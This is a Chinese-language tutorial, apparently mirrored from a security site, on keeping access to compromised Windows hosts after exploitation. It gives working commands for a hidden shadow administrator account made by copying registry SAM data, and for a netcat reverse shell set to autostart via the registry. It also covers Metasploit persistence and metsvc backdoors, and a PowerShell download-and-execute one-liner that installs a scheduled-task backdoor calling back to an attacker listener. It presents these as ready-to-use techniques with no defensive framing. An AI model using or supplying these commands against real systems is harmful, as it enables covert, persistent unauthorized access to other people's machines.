27

后渗透阶段的权限维持(Windows篇)

 6 years ago
source link: http://www.freebuf.com/articles/web/180581.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前言

当我们在渗透过程中通过漏洞获取到目标主机权限后,往往会因为服务器管理员发现和修补漏洞而导致对服务器权限的丢失,所以权限维持就显得很重要了。

在windows主机中,我总结了下面几种权限维持的方法,不足之处还望各位大佬斧正。

添加影子账户

影子账户可以理解为和主体一模一样但是又看不见的账户,其隐蔽性较好,只能在注册表里面看到。

首先,我们需要创建一个隐藏账号OMG$ 使用命令 net user OMG$ /add 即可。

注:隐藏账户是指在使用 net user 命令下看不到的账户。

UvyuyqN.jpg!web

打开注册表编辑器,找到HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/选项,双击Administrator记住类型下面的十六进制值0x1f4找到左侧对应得文件夹即000001F4,双击打开复制里面F下的所有内容。

7ZJBzqF.jpg!web

YvAJju3.jpg!web

同理,打开OMG$对应的文件夹,将刚刚复制的内容粘贴到F 下。然后将Names下的OMG$和000003EC导出注册表,名字随意取。接着删除OMG$用户(net user OMG$ /del)。最后一步,导入刚刚导出的两个注册表即可(双击即可导入)。

注销当前用户,使用OMG$登录,发现登录成功:

IBJN7fV.jpg!web

NC自启动

我们可以在受害主机上上传NC,并修改注册表将NC添加为开机自启,不过这种方法需要有一台公网服务器或者将本机端口进行映射。

先来看一下nc的命令:

yInimu3.jpg!web

首先在服务器上开一个监听端口 (nc –l –vv –p yourport):

r6fqAzj.jpg!web

然后在受害主机上执行 nc –t –e cmd.exe ipport ,可以看到服务器上已经接收到来自受害主机的cmdshell。

IzaqQvV.jpg!web

现在需要修改受害主机注册表,将上一条命令 nc –t –ecmd.exe ip port 添加为开机自启,这样受害主机每一次重启之后仍然会主动连接我们的服务器,不过前提是你的服务器得一直监听相关端口,有点鸡肋。

6jIFvuV.gif

MSF权限维持

使用MSF维持权限的前提是先获得一个Meterpretershell,通过Merterpretershell获取持久性shell的方法有两种:

Persistence模块

首先查看 persistence模块帮助信息:

BnMVBbE.jpg!web

运行 run persistence -U -i 10 -p 4444 -r 192.168.34.132

FfIVJzI.jpg!web

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。

重启受害主机后,shell仍然反弹会回来:

ieeuiyF.gif

Metsvc 模块

一样的,先来看一下它的参数:

BVVvAvQ.jpg!web

很简单,直接运行就可以了。

vUjMVbN.jpg!web

从这里可以看到,它是通过在,目标主机上开启了一个服务。

eqMnEnJ.jpg!web

监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell。

Powershell权限维持

这里推荐一个powershell脚本: https://github.com/re4lity/Schtasks-Backdoor ,使用方法见Readme文件。

运行命令:

powershell.exe-exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('<a href="http://192.168.42.220/Invoke-taskBackdoor.ps1">http://192.168.42.220/Invoke-taskBackdoor.ps1</a>');Invoke-Tasksbackdoor-method nccat -ip 192.168.34.131 -port 53 -time 2"

根据自己的情况做适当修改。

192.168.42.220 是我的本地服务器;
192.168.34.131 是我的一台开了nc监听的主机。

执行上述命令后,192.168.34.131获得一个shell:

VniMbiq.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK